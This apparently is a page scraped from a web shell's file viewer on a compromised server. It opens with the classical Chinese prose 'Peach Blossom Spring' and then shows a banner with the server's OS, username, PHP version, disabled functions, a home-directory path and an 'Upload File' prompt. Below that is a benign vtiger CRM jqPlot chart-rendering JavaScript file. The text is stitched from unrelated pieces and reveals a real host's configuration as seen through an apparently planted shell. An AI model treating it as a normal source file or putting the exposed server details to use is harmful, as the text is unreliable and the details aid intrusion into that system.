晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/libraries/jquery/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
var vtJqPlotInterface = function() {
this.legendPlacement = 'outsideGrid'; /* refer: http://www.jqplot.com/docs/files/jqplot-core-js.html#Legend.placement */
this.renderPie = function() {
this.element.jqplot([this.data['chartData']], {
seriesDefaults:{
renderer:jQuery.jqplot.PieRenderer,
rendererOptions: {
showDataLabels: true,
dataLabels: 'value'
}
},
legend: {
show: true,
location: 'e'
},
title : this.data['title']
});
}
this.renderBar = function() {
this.element.jqplot(this.data['chartData'] , {
title: this.data['title'],
animate: !$.jqplot.use_excanvas,
seriesDefaults:{
renderer:jQuery.jqplot.BarRenderer,
rendererOptions: {
showDataLabels: true,
dataLabels: 'value',
barDirection : 'vertical'
},
pointLabels: {show: true,edgeTolerance: -15}
},
axes: {
xaxis: {
tickRenderer: jQuery.jqplot.CanvasAxisTickRenderer,
renderer: jQuery.jqplot.CategoryAxisRenderer,
ticks: this.data['labels'],
tickOptions: { fontFamily: 'VtigerFont',
angle: -45
}
},
yaxis: {
min:0,
max: this.data['yMaxValue'],
tickOptions: { fontFamily: 'VtigerFont',
formatString: '%d'
},
pad : 1.2
}
},
legend: {
show : (this.data['data_labels']) ? true:false,
location : 'e',
placement : 'outside',
showLabels : (this.data['data_labels']) ? true:false,
showSwatch : (this.data['data_labels']) ? true:false,
labels : this.data['data_labels']
}
});
}
this.renderFunnel = function() {
var labels = new Array();
var dataInfo = JSON.parse(this.data);
for(var i=0; i<dataInfo.length; i++) {
labels[i] = dataInfo[i][2];
dataInfo[i][1] = parseFloat(dataInfo[i][1]);
}
/* Transform data friendly to Funnel renderer */
var tmpdataInfo = [];
for (var k in dataInfo) {
tmpdataInfo.push(Object.values(dataInfo[k]));
}
dataInfo = tmpdataInfo;
/* End */
this.element.jqplot([dataInfo], {
seriesDefaults: {
renderer:jQuery.jqplot.FunnelRenderer,
rendererOptions:{
sectionMargin: 12,
widthRatio: 0.1,
showDataLabels:true,
dataLabelThreshold: 0,
dataLabels: 'value'
}
},
legend: {
show: true,
location: 'ne',
placement: 'outside',
labels:labels,
xoffset:20
}
});
}
this.renderMultibar = function() {
var chartData = this.data.data;
var ticks = this.data.ticks;
var labels = this.data.labels;
this.element.jqplot( chartData, {
stackSeries: true,
captureRightClick: true,
seriesDefaults:{
renderer:$.jqplot.BarRenderer,
rendererOptions: {
// Put a 30 pixel margin between bars.
barMargin: 10,
// Highlight bars when mouse button pressed.
// Disables default highlighting on mouse over.
highlightMouseDown: true,
highlightMouseOver : true
},
pointLabels: {show: true,hideZeros: true}
},
axes: {
xaxis: {
renderer: $.jqplot.CategoryAxisRenderer,
tickRenderer: $.jqplot.CanvasAxisTickRenderer,
tickOptions: { fontFamily: 'VtigerFont',
angle: -45
},
ticks: ticks
},
yaxis: {
// Don't pad out the bottom of the data range. By default,
// axes scaled as if data extended 10% above and below the
// actual range to prevent data points right on grid boundaries.
// Don't want to do that here.
padMin: 0,
min:0
}
},
legend: {
show: true,
location: 'e',
placement: 'outsideGrid',
labels:labels
}
});
}
this.renderHorizontalbar = function() {
this.element.jqplot(this.data['chartData'], {
title: this.data['title'],
animate: !$.jqplot.use_excanvas,
seriesDefaults: {
renderer:$.jqplot.BarRenderer,
showDataLabels: true,
pointLabels: { show: true, location: 'e', edgeTolerance: -15 },
shadowAngle: 135,
rendererOptions: {
barDirection: 'horizontal'
}
},
axes: {
yaxis: {
tickRenderer: jQuery.jqplot.CanvasAxisTickRenderer,
renderer: jQuery.jqplot.CategoryAxisRenderer,
ticks: this.data['labels'],
tickOptions: { fontFamily: 'VtigerFont',
angle: -45
}
}
},
legend: {
show: true,
location: 'e',
placement: 'outsideGrid',
showSwatch : true,
showLabels : true,
labels:this.data['data_labels']
}
});
}
this.renderLine = function() {
this.element.jqplot(this.data['chartData'], {
title: this.data['title'],
legend:{
show:true,
labels:this.data['data_labels'],
location:'ne',
showSwatch : true,
showLabels : true,
placement: 'outsideGrid'
},
seriesDefaults: {
pointLabels: {
show: true
}
},
axes: {
xaxis: {
min:0,
pad: 1,
tickRenderer: jQuery.jqplot.CanvasAxisTickRenderer,
renderer: $.jqplot.CategoryAxisRenderer,
ticks:this.data['labels'],
tickOptions: { fontFamily: 'VtigerFont',
formatString: '%b %#d',
angle: -30
}
}
},
cursor: {
show: true
}
});
}
this.renderColumn = function() {
var chartData = [];
var ticks = this.data.categories;
var labels = [];
for(var i = 0; i < this.data.chartData.length ; i++){
labels.push(this.data.chartData[i].name);
chartData.push(this.data.chartData[i].data);
}
this.element.jqplot( chartData, {
stackSeries: false,
captureRightClick: true,
seriesDefaults:{
renderer:$.jqplot.BarRenderer,
rendererOptions: {
// Put a 30 pixel margin between bars.
barMargin: 10,
// Highlight bars when mouse button pressed.
// Disables default highlighting on mouse over.
highlightMouseDown: true,
highlightMouseOver : true
},
pointLabels: {show: true,hideZeros: true}
},
axes: {
xaxis: {
renderer: $.jqplot.CategoryAxisRenderer,
tickRenderer: $.jqplot.CanvasAxisTickRenderer,
tickOptions: { fontFamily: 'VtigerFont',
angle: -45
},
ticks: ticks
},
yaxis: {
// Don't pad out the bottom of the data range. By default,
// axes scaled as if data extended 10% above and below the
// actual range to prevent data points right on grid boundaries.
// Don't want to do that here.
padMin: 0,
min:0
}
},
legend: {
show: true,
location: 'e',
placement: 'outsideGrid',
labels:labels
}
});
}
this.registerClick = function() {
var thisInstance = this;
this.element.on('jqplotDataClick',function(ev, gridpos, datapos, neighbor, plot){
var url;
switch(thisInstance.options.renderer){
case 'funnel' :
url = thisInstance.options.links[datapos]['links'];
break;
case 'multibar' :
if(thisInstance.options.links)
url = thisInstance.options.links[gridpos][datapos];
break;
// bar,pie,linechart,horizontalbar
default :
if(typeof thisInstance.options.links != 'undefined')
url = thisInstance.options.links[datapos];
break;
}
thisInstance.triggerClick({'url':url});
});
}
this.postRendering = function() {
this.element.on("jqplotDataMouseOver", function(evt, seriesIndex, pointIndex, neighbor) {
$('.jqplot-event-canvas').css( 'cursor', 'pointer' );
});
this.element.on("jqplotDataUnhighlight", function(evt, seriesIndex, pointIndex, neighbor) {
$('.jqplot-event-canvas').css( 'cursor', 'auto' );
});
this.registerClick();
}
this.init = function(element,data,options) {
this.element = element;
this.data = data;
this.options = options;
switch(this.options.renderer) {
case 'pie' : this.renderPie();break;
case 'bar' : this.renderBar();break;
case 'funnel' : this.renderFunnel();break;
case 'multibar' : this.renderMultibar();break;
case 'horizontalbar' : this.renderHorizontalbar();break;
case 'linechart' : this.renderLine();break;
case 'column' : this.renderColumn();break;
default : console.log('jqplot renderer not supported');
}
this.postRendering();
}
}